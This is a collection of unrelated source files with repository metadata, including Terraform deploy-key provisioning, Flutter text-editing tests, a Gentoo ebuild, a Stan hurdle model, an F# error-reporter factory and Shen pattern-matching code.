[38;2;248;248;242m [0m[38;2;255;255;255mcontent[0m[38;2;248;248;242m [0m[38;2;249;38;114m= [0m[38;2;248;248;242mtls_private_key[0m[38;2;249;38;114m.[0m[38;2;255;255;255mdeploy_key[0m[38;2;249;38;114m.[0m[38;2;255;255;255mprivate_key_pem[0m
[38;2;248;248;242m [0m[38;2;255;255;255mdestination[0m[38;2;248;248;242m [0m[38;2;249;38;114m= [0m[38;2;230;219;116m"[0m[38;2;230;219;116m~/[0m[38;2;249;38;114m${[0m[38;2;102;217;239mvar[0m[38;2;249;38;114m.[0m[38;2;255;255;255mrepo_name[0m[38;2;249;38;114m}[0m[38;2;230;219;116m_deploy_key.pem[0m[38;2;230;219;116m"[0m
[38;2;248;248;242m [0m[38;2;166;226;46mconnection[0m[38;2;248;248;242m [0m[38;2;248;248;242m{[0m
[38;2;248;248;242m [0m[38;2;255;255;255mtype[0m[38;2;248;248;242m [0m[38;2;249;38;114m= [0m[38;2;230;219;116m"[0m[38;2;230;219;116mssh[0m[38;2;230;219;116m"[0m
[38;2;248;248;242m [0m[38;2;255;255;255muser[0m[38;2;248;248;242m [0m[38;2;249;38;114m= [0m[38;2;230;219;116m"[0m[38;2;230;219;116mcentos[0m[38;2;230;219;116m"[0m
[38;2;248;248;242m [0m[38;2;255;255;255mprivate_key[0m[38;2;248;248;242m [0m[38;2;249;38;114m= [0m[38;2;102;217;239mvar[0m[38;2;249;38;114m.[0m[38;2;255;255;255mterraform_ssh_key[0m
[38;2;248;248;242m [0m[38;2;255;255;255mhost[0m[38;2;248;248;242m [0m[38;2;249;38;114m= [0m[38;2;102;217;239mvar[0m[38;2;249;38;114m.[0m[38;2;255;255;255mserver_ip[0m
[38;2;248;248;242m [0m[38;2;248;248;242m}[0m
[38;2;248;248;242m [0m[38;2;248;248;242m}[0m
[38;2;248;248;242m [0m[38;2;166;226;46mprovisioner[0m[38;2;248;248;242m [0m[38;2;230;219;116m"[0m[38;2;230;219;116mremote-exec[0m[38;2;230;219;116m"[0m[38;2;248;248;242m [0m[38;2;248;248;242m{[0m
[38;2;248;248;242m [0m[38;2;255;255;255minline[0m[38;2;248;248;242m [0m[38;2;249;38;114m= [0m[38;2;248;248;242m[[0m
[38;2;248;248;242m [0m[38;2;230;219;116m"[0m[38;2;230;219;116msudo mv ~/[0m[38;2;249;38;114m${[0m[38;2;102;217;239mvar[0m[38;2;249;38;114m.[0m[38;2;255;255;255mrepo_name[0m[38;2;249;38;114m}[0m[38;2;230;219;116m_deploy_key.pem /app/ssh_keys/[0m[38;2;230;219;116m"[0m[38;2;248;248;242m,[0m
[38;2;248;248;242m [0m[38;2;230;219;116m"[0m[38;2;230;219;116msudo chmod 0400 /app/ssh_keys/[0m[38;2;249;38;114m${[0m[38;2;102;217;239mvar[0m[38;2;249;38;114m.[0m[38;2;255;255;255mrepo_name[0m[38;2;249;38;114m}[0m[38;2;230;219;116m_deploy_key.pem[0m[38;2;230;219;116m"[0m[38;2;248;248;242m,[0m
[38;2;248;248;242m [0m[38;2;230;219;116m"[0m[38;2;230;219;116msudo chown app:app /app/ssh_keys/[0m[38;2;249;38;114m${[0m[38;2;102;217;239mvar[0m[38;2;249;38;114m.[0m[38;2;255;255;255mrepo_name[0m[38;2;249;38;114m}[0m[38;2;230;219;116m_deploy_key.pem[0m[38;2;230;219;116m"[0m[38;2;248;248;242m,[0m
[38;2;248;248;242m [0m[38;2;248;248;242m][0m
[38;2;248;248;242m [0m[38;2;166;226;46mconnection[0m[38;2;248;248;242m [0m[38;2;248;248;242m{[0m
[38;2;248;248;242m [0m[38;2;255;255;255mtype[0m[38;2;248;248;242m [0m[38;2;249;38;114m= [0m[38;2;230;219;116m"[0m[38;2;230;219;116mssh[0m[38;2;230;219;116m"[0m
[38;2;248;248;242m [0m[38;2;255;255;255muser[0m[38;2;248;248;242m [0m[38;2;249;38;114m= [0m[38;2;230;219;116m"[0m[38;2;230;219;116mcentos[0m[38;2;230;219;116m"[0m
[38;2;248;248;242m [0m[38;2;255;255;255mprivate_key[0m[38;2;248;248;242m [0m[38;2;249;38;114m= [0m[38;2;102;217;239mvar[0m[38;2;249;38;114m.[0m[38;2;255;255;255mterraform_ssh_key[0m
[38;2;248;248;242m [0m[38;2;255;255;255mhost[0m[38;2;248;248;242m [0m[38;2;249;38;114m= [0m[38;2;102;217;239mvar[0m[38;2;249;38;114m.[0m[38;2;255;255;255mserver_ip[0m
[38;2;248;248;242m [0m[38;2;248;248;242m}[0m
[38;2;248;248;242m [0m[38;2;248;248;242m}[0m
[38;2;248;248;242m}[0m
[3;38;2;102;217;239mresource[0m[38;2;248;248;242m [0m[38;2;230;219;116m"[0m[38;2;230;219;116mgithub_repository_deploy_key[0m[38;2;230;219;116m"[0m[38;2;248;248;242m [0m[38;2;230;219;116m"[0m[38;2;230;219;116mrepo_deploy_key[0m[38;2;230;219;116m"[0m[38;2;248;248;242m [0m[38;2;248;248;242m{[0m
[38;2;248;248;242m [0m[38;2;255;255;255mtitle[0m[38;2;248;248;242m [0m[38;2;249;38;114m= [0m[38;2;230;219;116m"[0m[38;2;249;38;114m${[0m[38;2;102;217;239mvar[0m[38;2;249;38;114m.[0m[38;2;255;255;255menv_name[0m[38;2;249;38;114m}[0m[38;2;230;219;116m Deploy Key[0m[38;2;230;219;116m"[0m
[38;2;248;248;242m [0m[38;2;255;255;255mrepository[0m[38;2;248;248;242m [0m[38;2;249;38;114m= [0m[38;2;102;217;239mvar[0m[38;2;249;38;114m.[0m[38;2;255;255;255mrepo_name[0m
[38;2;248;248;242m [0m[38;2;255;255;255mkey[0m[38;2;248;248;242m [0m[38;2;249;38;114m= [0m[38;2;248;248;242mtls_private_key[0m[38;2;249;38;114m.[0m[38;2;255;255;255mdeploy_key[0m[38;2;249;38;114m.[0m[38;2;255;255;255mpublic_key_openssh[0m
[38;2;248;248;242m [0m[38;2;255;255;255mread_only[0m[38;2;248;248;242m [0m[38;2;249;38;114m= [0m[38;2;102;217;239mvar[0m[38;2;249;38;114m.[0m[38;2;255;255;255mread_only[0m
[38;2;248;248;242m}[0m
| HCL | 3 | JesseVermeulen123/bat | tests/syntax-tests/highlighted/Terraform/main.tf | [
"Apache-2.0",
"MIT"
] |
// Copyright 2014 The Flutter Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
import 'dart:convert' show jsonDecode;
import 'package:flutter/services.dart';
import 'package:flutter_test/flutter_test.dart';
void main() {
group('TextEditingDeltaInsertion', () {
test('Verify creation of insertion delta when inserting at a collapsed selection.', () {
const String jsonInsertionDelta = '{'
'"oldText": "",'
' "deltaText": "let there be text",'
' "deltaStart": 0,'
' "deltaEnd": 0,'
' "selectionBase": 17,'
' "selectionExtent": 17,'
' "selectionAffinity" : "TextAffinity.downstream" ,'
' "selectionIsDirectional": false,'
' "composingBase": -1,'
' "composingExtent": -1}';
final TextEditingDeltaInsertion delta = TextEditingDelta.fromJSON(jsonDecode(jsonInsertionDelta) as Map<String, dynamic>) as TextEditingDeltaInsertion;
const TextRange expectedComposing = TextRange.empty;
const int expectedInsertionOffset = 0;
const TextSelection expectedSelection = TextSelection.collapsed(offset: 17);
expect(delta.oldText, '');
expect(delta.textInserted, 'let there be text');
expect(delta.insertionOffset, expectedInsertionOffset);
expect(delta.selection, expectedSelection);
expect(delta.composing, expectedComposing);
});
test('Verify creation of insertion delta when inserting at end of composing region.', () {
const String jsonInsertionDelta = '{'
'"oldText": "hello worl",'
' "deltaText": "world",'
' "deltaStart": 6,'
' "deltaEnd": 10,'
' "selectionBase": 11,'
' "selectionExtent": 11,'
' "selectionAffinity" : "TextAffinity.downstream",'
' "selectionIsDirectional": false,'
' "composingBase": 6,'
' "composingExtent": 11}';
final TextEditingDeltaInsertion delta = TextEditingDelta.fromJSON(jsonDecode(jsonInsertionDelta) as Map<String, dynamic>) as TextEditingDeltaInsertion;
const TextRange expectedComposing = TextRange(start: 6, end: 11);
const int expectedInsertionOffset = 10;
const TextSelection expectedSelection = TextSelection.collapsed(offset: 11);
expect(delta.oldText, 'hello worl');
expect(delta.textInserted, 'd');
expect(delta.insertionOffset, expectedInsertionOffset);
expect(delta.selection, expectedSelection);
expect(delta.composing, expectedComposing);
});
});
group('TextEditingDeltaDeletion', () {
test('Verify creation of deletion delta when deleting.', () {
const String jsonDeletionDelta = '{'
'"oldText": "let there be text.",'
' "deltaText": "",'
' "deltaStart": 1,'
' "deltaEnd": 2,'
' "selectionBase": 1,'
' "selectionExtent": 1,'
' "selectionAffinity" : "TextAffinity.downstream" ,'
' "selectionIsDirectional": false,'
' "composingBase": -1,'
' "composingExtent": -1}';
final TextEditingDeltaDeletion delta = TextEditingDelta.fromJSON(jsonDecode(jsonDeletionDelta) as Map<String, dynamic>) as TextEditingDeltaDeletion;
const TextRange expectedComposing = TextRange.empty;
const TextRange expectedDeletedRange = TextRange(start: 1, end: 2);
const TextSelection expectedSelection = TextSelection.collapsed(offset: 1);
expect(delta.oldText, 'let there be text.');
expect(delta.textDeleted, 'e');
expect(delta.deletedRange, expectedDeletedRange);
expect(delta.selection, expectedSelection);
expect(delta.composing, expectedComposing);
});
test('Verify creation of deletion delta when deleting at end of composing region.', () {
const String jsonDeletionDelta = '{'
'"oldText": "hello world",'
' "deltaText": "worl",'
' "deltaStart": 6,'
' "deltaEnd": 11,'
' "selectionBase": 10,'
' "selectionExtent": 10,'
' "selectionAffinity" : "TextAffinity.downstream",'
' "selectionIsDirectional": false,'
' "composingBase": 6,'
' "composingExtent": 10}';
final TextEditingDeltaDeletion delta = TextEditingDelta.fromJSON(jsonDecode(jsonDeletionDelta) as Map<String, dynamic>) as TextEditingDeltaDeletion;
const TextRange expectedComposing = TextRange(start: 6, end: 10);
const TextRange expectedDeletedRange = TextRange(start: 10, end: 11);
const TextSelection expectedSelection = TextSelection.collapsed(offset: 10);
expect(delta.oldText, 'hello world');
expect(delta.textDeleted, 'd');
expect(delta.deletedRange, expectedDeletedRange);
expect(delta.selection, expectedSelection);
expect(delta.composing, expectedComposing);
});
});
group('TextEditingDeltaReplacement', () {
test('Verify creation of replacement delta when replacing with longer.', () {
const String jsonReplacementDelta = '{'
'"oldText": "hello worfi",'
' "deltaText": "working",'
' "deltaStart": 6,'
' "deltaEnd": 11,'
' "selectionBase": 13,'
' "selectionExtent": 13,'
' "selectionAffinity" : "TextAffinity.downstream",'
' "selectionIsDirectional": false,'
' "composingBase": 6,'
' "composingExtent": 13}';
final TextEditingDeltaReplacement delta = TextEditingDelta.fromJSON(jsonDecode(jsonReplacementDelta) as Map<String, dynamic>) as TextEditingDeltaReplacement;
const TextRange expectedComposing = TextRange(start: 6, end: 13);
const TextRange expectedReplacedRange = TextRange(start: 6, end: 11);
const TextSelection expectedSelection = TextSelection.collapsed(offset: 13);
expect(delta.oldText, 'hello worfi');
expect(delta.textReplaced, 'worfi');
expect(delta.replacementText, 'working');
expect(delta.replacedRange, expectedReplacedRange);
expect(delta.selection, expectedSelection);
expect(delta.composing, expectedComposing);
});
test('Verify creation of replacement delta when replacing with shorter.', () {
const String jsonReplacementDelta = '{'
'"oldText": "hello world",'
' "deltaText": "h",'
' "deltaStart": 6,'
' "deltaEnd": 11,'
' "selectionBase": 7,'
' "selectionExtent": 7,'
' "selectionAffinity" : "TextAffinity.downstream",'
' "selectionIsDirectional": false,'
' "composingBase": 6,'
' "composingExtent": 7}';
final TextEditingDeltaReplacement delta = TextEditingDelta.fromJSON(jsonDecode(jsonReplacementDelta) as Map<String, dynamic>) as TextEditingDeltaReplacement;
const TextRange expectedComposing = TextRange(start: 6, end: 7);
const TextRange expectedReplacedRange = TextRange(start: 6, end: 11);
const TextSelection expectedSelection = TextSelection.collapsed(offset: 7);
expect(delta.oldText, 'hello world');
expect(delta.textReplaced, 'world');
expect(delta.replacementText, 'h');
expect(delta.replacedRange, expectedReplacedRange);
expect(delta.selection, expectedSelection);
expect(delta.composing, expectedComposing);
});
test('Verify creation of replacement delta when replacing with same.', () {
const String jsonReplacementDelta = '{'
'"oldText": "hello world",'
' "deltaText": "words",'
' "deltaStart": 6,'
' "deltaEnd": 11,'
' "selectionBase": 11,'
' "selectionExtent": 11,'
' "selectionAffinity" : "TextAffinity.downstream",'
' "selectionIsDirectional": false,'
' "composingBase": 6,'
' "composingExtent": 11}';
final TextEditingDeltaReplacement delta = TextEditingDelta.fromJSON(jsonDecode(jsonReplacementDelta) as Map<String, dynamic>) as TextEditingDeltaReplacement;
const TextRange expectedComposing = TextRange(start: 6, end: 11);
const TextRange expectedReplacedRange = TextRange(start: 6, end: 11);
const TextSelection expectedSelection = TextSelection.collapsed(offset: 11);
expect(delta.oldText, 'hello world');
expect(delta.textReplaced, 'world');
expect(delta.replacementText, 'words');
expect(delta.replacedRange, expectedReplacedRange);
expect(delta.selection, expectedSelection);
expect(delta.composing, expectedComposing);
});
});
group('TextEditingDeltaNonTextUpdate', () {
test('Verify non text update delta created.', () {
const String jsonNonTextUpdateDelta = '{'
'"oldText": "hello world",'
' "deltaText": "",'
' "deltaStart": -1,'
' "deltaEnd": -1,'
' "selectionBase": 10,'
' "selectionExtent": 10,'
' "selectionAffinity" : "TextAffinity.downstream",'
' "selectionIsDirectional": false,'
' "composingBase": 6,'
' "composingExtent": 11}';
final TextEditingDeltaNonTextUpdate delta = TextEditingDelta.fromJSON(jsonDecode(jsonNonTextUpdateDelta) as Map<String, dynamic>) as TextEditingDeltaNonTextUpdate;
const TextRange expectedComposing = TextRange(start: 6, end: 11);
const TextSelection expectedSelection = TextSelection.collapsed(offset: 10);
expect(delta.oldText, 'hello world');
expect(delta.selection, expectedSelection);
expect(delta.composing, expectedComposing);
});
});
}
| Dart | 4 | Mayb3Nots/flutter | packages/flutter/test/services/text_editing_delta_test.dart | [
"BSD-3-Clause"
] |
# Copyright 2017-2018 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# Auto-Generated by cargo-ebuild 0.1.4
EAPI=6
CRATES="
backtrace-0.3.0
backtrace-sys-0.1.5
cfg-if-0.1.0
cross-0.1.14
dbghelp-sys-0.2.0
error-chain-0.7.2
gcc-0.3.45
kernel32-sys-0.2.2
lazy_static-0.2.8
libc-0.2.18
rustc-demangle-0.1.3
rustc-serialize-0.3.22
rustc_version-0.2.1
semver-0.6.0
semver-parser-0.7.0
toml-0.2.1
winapi-0.2.8
winapi-build-0.1.1
"
inherit cargo
DESCRIPTION="Zero setup cross compilation and cross testing"
HOMEPAGE="https://github.com/japaric/cross"
SRC_URI="$(cargo_crate_uris ${CRATES})"
RESTRICT="mirror"
LICENSE="|| ( MIT Apache-2.0 )"
SLOT="0"
KEYWORDS="~amd64 ~arm64"
IUSE=""
DEPEND=""
RDEPEND=""
| Gentoo Ebuild | 3 | gentoo/gentoo-rust | dev-rust/cross/cross-0.1.14.ebuild | [
"BSD-3-Clause"
] |
{% from "issue-54765-map.jinja" import defaults with context %}
issue-54765:
file.managed:
- name: {{ pillar['file_path'] }}
- contents: {{ defaults['foo'] }}
| SaltStack | 3 | Noah-Huppert/salt | tests/integration/files/file/base/issue-54765.sls | [
"Apache-2.0"
] |
POM_ARTIFACT_ID=leakcanary-android-utils
POM_NAME=LeakCanary Android Utils
POM_PACKAGING=aar
| INI | 1 | slavonnet/leakcanary | leakcanary-android-utils/gradle.properties | [
"Apache-2.0"
] |
#!/bin/sh
gcc ntreg.c addmsf.c --static -m32 -o regeditor
| Shell | 2 | OsmanDere/metasploit-framework | external/source/pxesploit/regeditor/compile.sh | [
"BSD-2-Clause",
"BSD-3-Clause"
] |
package com.baeldung.dddmodules.ordercontext.model;
import java.util.List;
public class CustomerOrder {
private int orderId;
private String paymentMethod;
private String address;
private List<OrderItem> orderItems;
public CustomerOrder() {
}
public float calculateTotalPrice() {
return orderItems.stream().map(OrderItem::getTotalPrice)
.reduce(0F, Float::sum);
}
public void setOrderItems(List<OrderItem> orderItems) {
this.orderItems = orderItems;
}
public int getOrderId() {
return orderId;
}
public List<OrderItem> getOrderItems() {
return orderItems;
}
public void setOrderId(int orderId) {
this.orderId = orderId;
}
public String getPaymentMethod() {
return paymentMethod;
}
public void setPaymentMethod(String paymentMethod) {
this.paymentMethod = paymentMethod;
}
public String getAddress() {
return address;
}
public void setAddress(String address) {
this.address = address;
}
}
| Java | 4 | DBatOWL/tutorials | ddd-modules/ordercontext/src/main/java/com/baeldung/dddmodules/ordercontext/model/CustomerOrder.java | [
"MIT"
] |
/* Poisson "hurdle" model (also with upper truncation)
*
* Note: for simplicity I assume that there is only one way to obtain
* a zero, as opposed to some zero-inflated models where there are
* multiple processes that lead to a zero. So in this example, y is
* zero with probability theta and y is modeled as a truncated poisson
* if greater than zero.
*/
data {
int<lower=1> N;
int<lower=0> y[N];
}
transformed data {
int U = max(y); // upper truncation point
}
parameters {
real<lower=0,upper=1> theta; // Pr(y = 0)
real<lower=0> lambda; // Poisson rate parameter (if y > 0)
}
model {
lambda ~ exponential(0.2);
for (n in 1:N) {
if (y[n] == 0) {
target += log(theta); // log(Pr(y = 0))
} else {
target += log1m(theta); // log(Pr(y > 0))
y[n] ~ poisson(lambda) T[1,U]; // truncated poisson
}
}
}
generated quantities {
real log_lik[N];
int y_rep[N];
for (n in 1:N) {
if (bernoulli_rng(theta)) {
y_rep[n] = 0;
} else {
// use a while loop because Stan doesn't have truncated RNGs
int w; // temporary variable
w = poisson_rng(lambda);
while (w == 0 || w > U)
w = poisson_rng(lambda);
y_rep[n] = w;
}
if (y[n] == 0) {
log_lik[n] = log(theta);
} else {
log_lik[n] = log1m(theta)
+ poisson_lpmf(y[n] | lambda)
- log_diff_exp(poisson_lcdf(U | lambda),
poisson_lcdf(0 | lambda));
}
}
}
| Stan | 5 | tonyctan/BDA_R_demos | demos_rstan/ppc/poisson-hurdle.stan | [
"BSD-3-Clause"
] |
infix 6 ƛ`_⇒_
ƛ`_⇒_ : Term → Term → Term
ƛ`_⇒_ (` x) N = ƛ x ⇒ N
ƛ`_⇒_ _ _ = ⊥-elim impossible
where postulate impossible : ⊥
plusᶜ′ : Term
plusᶜ′ = ƛ` m ⇒ ƛ` n ⇒ ƛ` s ⇒ ƛ` z ⇒ (m · s · (n · s · z))
where
m = ` "m"
n = ` "n"
s = ` "s"
z = ` "z"
_ : plusᶜ ≡ plusᶜ′
_ = refl
| Literate Agda | 4 | manikdv/plfa.github.io | extra/extra/LambdaSyntax.lagda | [
"CC-BY-4.0"
] |
require("./module");
require("./reexport");
import { value } from "./reexport2";
const { value: value2, own } = require("./reexport2");
it("should not crash", () => {
expect(value).toBe(42);
expect(value2).toBe(42);
expect(own).toBe(42);
});
| JavaScript | 3 | fourstash/webpack | test/cases/side-effects/issue-12071/index.js | [
"MIT"
] |
macroScript openScriptFile
icon:#("~set_and_get_paths",3)
category:"Tools"
toolTip:"Open Script File..."
(
f=getOpenFileName caption:"Choose Editor File" types:"Script files (*.ms, *.mcr)|*.ms;*.mcr|All files (*.*)|*.*"
if f!=undefined then edit f
)
| MAXScript | 4 | 89096000/MaxScript | Workflow/set_and_get_paths/MacroScripts/~openScriptFile.mcr | [
"MIT"
] |
$ORIGIN ens.domains.
$TTL 1h
ens.domains. IN SOA 397437541a757880eCC5d26606624F4FC8958Cb5.ns1.ens.domains. hostmaster.ens.domains. (1481214534 1h 1h 1h 1h)
@ IN A 217.70.184.38
docs IN CNAME readthedocs.io.
ns1 IN A 13.69.156.224
*.ns1 IN A 13.69.156.224
@ IN NS 397437541a757880eCC5d26606624F4FC8958Cb5.ns1.ens.domains.
| DNS Zone | 2 | mennat1/simple-yield-farm-truffle-version | node_modules/@ethereum-waffle/ens/node_modules/@ensdomains/ens/ens.domains.zone | [
"MIT"
] |
#tag Module
Protected Module GameKit
#tag DelegateDeclaration, Flags = &h0
Delegate Sub GKChallengeComposeCompletionBlock(viewController as ptr, didIssueChallenge as Boolean, sentPlayerIDsArray as ptr)
#tag EndDelegateDeclaration
#tag DelegateDeclaration, Flags = &h0
Delegate Sub GKMatchCompletionHandler(match as GameKit . GKMatch, err as Foundation . NSError)
#tag EndDelegateDeclaration
#tag DelegateDeclaration, Flags = &h0
Delegate Sub GKPlayerCompletionHandler(player as GameKit . GKPlayer, err as Foundation . NSError)
#tag EndDelegateDeclaration
#tag DelegateDeclaration, Flags = &h0
Delegate Sub GKTurnbasedExchangeCompletionHandler(exchange as GameKit . GKTurnBasedExchange, err as Foundation . NSError)
#tag EndDelegateDeclaration
#tag DelegateDeclaration, Flags = &h0
Delegate Sub GKTurnbasedMatchCompletionHandler(match as GameKit . GKTurnbasedMatch, err as Foundation . NSError)
#tag EndDelegateDeclaration
#tag DelegateDeclaration, Flags = &h0
Delegate Sub IntegerCompletionHandler(activity as integer, err as Foundation . NSError)
#tag EndDelegateDeclaration
#tag DelegateDeclaration, Flags = &h0
Delegate Sub iOSImageCompletionHandler(img as iOSImage, err as Foundation . NSError)
#tag EndDelegateDeclaration
#tag DelegateDeclaration, Flags = &h0
Delegate Sub NSArrayCompletionHandler(arr as Foundation . NSArray, err as Foundation . NSError)
#tag EndDelegateDeclaration
#tag DelegateDeclaration, Flags = &h0
Delegate Sub NSDataCompletionHandler(data as Foundation . NSData)
#tag EndDelegateDeclaration
#tag DelegateDeclaration, Flags = &h0
Delegate Sub NSErrorCompletionHandler(err as Foundation . NSError)
#tag EndDelegateDeclaration
#tag DelegateDeclaration, Flags = &h0
Delegate Sub TextCompletionHandler(identifier as Text, err as Foundation . NSError)
#tag EndDelegateDeclaration
#tag Constant, Name = GameKitLib, Type = Text, Dynamic = False, Default = \"GameKit.framework", Scope = Public
#tag EndConstant
#tag Enum, Name = GKTurnBasedExchangeStatus, Type = Int8, Flags = &h0
Unknown = 0
Active = 1
Complete = 2
Resolved = 3
Cancelled = 4
#tag EndEnum
#tag Enum, Name = GKTurnBasedMatchOutcome, Type = Integer, Flags = &h0
None = 0
Quit = 1
Won = 2
Lost = 3
Tied = 4
TimeExpired = 5
First = 6
Second = 7
Third = 8
Fourth = 9
#tag EndEnum
#tag Enum, Name = GKTurnBasedMatchStatus, Type = Integer, Flags = &h0
Unknown = 0
Open = 1
Ended = 2
Matching = 3
#tag EndEnum
#tag Enum, Name = GKTurnBasedParticipantStatus, Type = Integer, Flags = &h0
Unknown = 0
Invited = 1
Declined = 2
Matching = 3
Active = 4
Done = 5
#tag EndEnum
#tag ViewBehavior
#tag ViewProperty
Name="Index"
Visible=true
Group="ID"
InitialValue="-2147483648"
Type="Integer"
EditorType=""
#tag EndViewProperty
#tag ViewProperty
Name="Left"
Visible=true
Group="Position"
InitialValue="0"
Type="Integer"
EditorType=""
#tag EndViewProperty
#tag ViewProperty
Name="Name"
Visible=true
Group="ID"
InitialValue=""
Type="String"
EditorType=""
#tag EndViewProperty
#tag ViewProperty
Name="Super"
Visible=true
Group="ID"
InitialValue=""
Type="String"
EditorType=""
#tag EndViewProperty
#tag ViewProperty
Name="Top"
Visible=true
Group="Position"
InitialValue="0"
Type="Integer"
EditorType=""
#tag EndViewProperty
#tag EndViewBehavior
End Module
#tag EndModule
| Xojo | 3 | kingj5/iOSKit | Modules/GameKitFolder/GameKit.xojo_code | [
"MIT"
] |
fn Foo<T>()
where
T: Bar,
{
}
| Rust | 3 | mbc-git/rust | src/tools/rustfmt/tests/target/issue-3253/paths/foo_bar.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
let str = "Hello, world"
println(str)
| Inform 7 | 2 | lfkeitel/nitrogen | src/moduleutils/testdata/cache1.ni | [
"BSD-3-Clause"
] |
Add fast path for ``0 <= k <= n <= 67`` for :func:`math.comb`.
| reStructuredText | 4 | juliangilbey/cpython | Misc/NEWS.d/next/Library/2021-12-27-15-52-28.bpo-37295.s3LPo0.rst | [
"0BSD"
] |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
#nullable disable
using System;
using Microsoft.VisualStudio.Shell.Interop;
using Microsoft.VisualStudio.LanguageServices;
using Microsoft.VisualStudio.LanguageServices.Implementation.TaskList;
using Microsoft.VisualStudio.LanguageServices.Implementation.ProjectSystem;
using Microsoft.VisualStudio.LanguageServices.Implementation.ProjectSystem.Extensions;
using Microsoft.VisualStudio.Shell;
namespace Microsoft.CodeAnalysis.ExternalAccess.FSharp.Internal.VisualStudio
{
internal static class FSharpProjectExternalErrorReporterFactory
{
public static IVsLanguageServiceBuildErrorReporter2 Create(ProjectId projectId, string errorCodePrefix, IServiceProvider serviceProvider)
{
ThreadHelper.ThrowIfNotOnUIThread();
var workspace = (VisualStudioWorkspaceImpl)serviceProvider.GetMefService<VisualStudioWorkspace>();
workspace.SubscribeExternalErrorDiagnosticUpdateSourceToSolutionBuildEvents();
return new ProjectExternalErrorReporter(projectId, errorCodePrefix, LanguageNames.FSharp, workspace);
}
}
}
| C# | 4 | ffMathy/roslyn | src/Tools/ExternalAccess/FSharp/Internal/VisualStudio/FSharpProjectExternalErrorReporterFactory.cs | [
"MIT"
] |
NAME = $(GLEW_NAME)
CC = cc
LD = cc
LDFLAGS.EXTRA = -L/usr/X11R6/lib
LDFLAGS.GL = -lGL -lX11
LDFLAGS.STATIC = -Wl,-Bstatic
LDFLAGS.DYNAMIC = -Wl,-Bdynamic
NAME = GLEW
WARN = -Wall -W
POPT = -O2
CFLAGS.EXTRA += -fPIC
BIN.SUFFIX =
LIB.SONAME = lib$(NAME).so.$(SO_MAJOR)
LIB.DEVLNK = lib$(NAME).so
LIB.SHARED = lib$(NAME).so.$(SO_VERSION)
LIB.STATIC = lib$(NAME).a
LDFLAGS.SO = -shared -Wl,-soname=$(LIB.SONAME)
| Gnuplot | 3 | aykamko/glew | config/Makefile.gnu | [
"Intel",
"MIT"
] |
/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/c/experimental/ops/nn_ops.h"
#include <pybind11/stl.h>
#include <memory>
#include "absl/types/span.h"
#include "pybind11/pybind11.h"
#include "tensorflow/c/eager/abstract_context.h"
#include "tensorflow/c/eager/abstract_tensor_handle.h"
#include "tensorflow/python/lib/core/pybind11_status.h"
using tensorflow::AbstractContext;
using tensorflow::AbstractTensorHandle;
namespace tensorflow {
PYBIND11_MODULE(_nn_ops, m) {
m.def("relu",
[](AbstractContext* ctx, AbstractTensorHandle* a, const char* name) {
int num_outputs = 1;
AbstractTensorHandle* output;
if (!name) {
name = "Relu";
}
MaybeRaiseRegisteredFromStatus(ops::Relu(ctx, a, &output, name));
return output;
});
m.def(
"sparse_softmax_cross_entropy_with_logits",
[](AbstractContext* ctx, AbstractTensorHandle* features,
AbstractTensorHandle* labels, const char* name) {
int num_outputs = 2;
AbstractTensorHandle* loss;
AbstractTensorHandle* backprop;
if (!name) {
name = "SparseSoftmaxCrossEntropyWithLogits";
}
MaybeRaiseRegisteredFromStatus(ops::SparseSoftmaxCrossEntropyWithLogits(
ctx, features, labels, &loss, &backprop, name));
return loss; // Only return the loss vals, not the backprop.
});
}
} // namespace tensorflow
| C++ | 4 | EricRemmerswaal/tensorflow | tensorflow/python/framework/experimental/nn_ops.cc | [
"Apache-2.0"
] |
\\ Copyright (c) 2019 Bruno Deferrari. All rights reserved.
\\ BSD 3-Clause License: http://opensource.org/licenses/BSD-3-Clause
\\ Documentation: docs/extensions/programmable-pattern-matching.md
(package shen.x.programmable-pattern-matching []
(define apply-pattern-handlers
[] _ _ _ _ -> (fail)
[Handler | _] Self AddTest Bind Patt <- (Handler Self AddTest Bind Patt)
[_ | Handlers] Self AddTest Bind Patt -> (apply-pattern-handlers Handlers Self AddTest Bind Patt))
(define make-stack
-> (address-> (absvector 1) 0 []))
(define push
S V -> (address-> S 0 [V | (<-address S 0)]))
(define pop-all
S -> (let Res (<-address S 0)
_ (address-> S 0 [])
Res))
(define compile-pattern
Patt Handlers OnFail
-> (let VarsStack (make-stack)
Self (protect Self$$7907$$)
AddTest (/. _ ignored)
Bind (/. Var _ (push VarsStack Var))
Result (apply-pattern-handlers Handlers Self AddTest Bind Patt)
(if (= Result (fail))
(thaw OnFail)
(compile-pattern-h Patt (reverse (pop-all VarsStack))))))
(define compile-pattern-h
[Constructor | Args] Vars
-> (let Compile (/. X (shen.<pattern> X))
Handler (/. E (error "failed to compile ~A" E))
NewArgs (map (/. Arg (if (element? Arg Vars)
(compile Compile [Arg] Handler)
Arg))
Args)
[Constructor | NewArgs]))
(define reduce
[[/. [Constructor | Args] Body] Self] Handlers
-> (let SelectorStack (make-stack)
AddTest (/. Expr (shen.add_test Expr))
Bind (/. Var Expr (push SelectorStack (@p Var Expr)))
Result (apply-pattern-handlers Handlers Self AddTest Bind [Constructor | Args])
Vars+Sels (reverse (pop-all SelectorStack))
Vars (map (function fst) Vars+Sels)
Selectors (map (function snd) Vars+Sels)
Abstraction (shen.abstraction_build Vars (shen.ebr Self [Constructor | Args] Body))
Application (shen.application_build Selectors Abstraction)
(shen.reduce_help Application)))
(define initialise
-> (do (set shen.*custom-pattern-compiler* (/. Arg OnFail (compile-pattern Arg (value *pattern-handlers*) OnFail)))
(set shen.*custom-pattern-reducer* (/. Arg (reduce Arg (value *pattern-handlers*))))
(set *pattern-handlers* [])
(set *pattern-handlers-reg* [])
done))
(define register-handler
F -> F where (element? F (value *pattern-handlers-reg*))
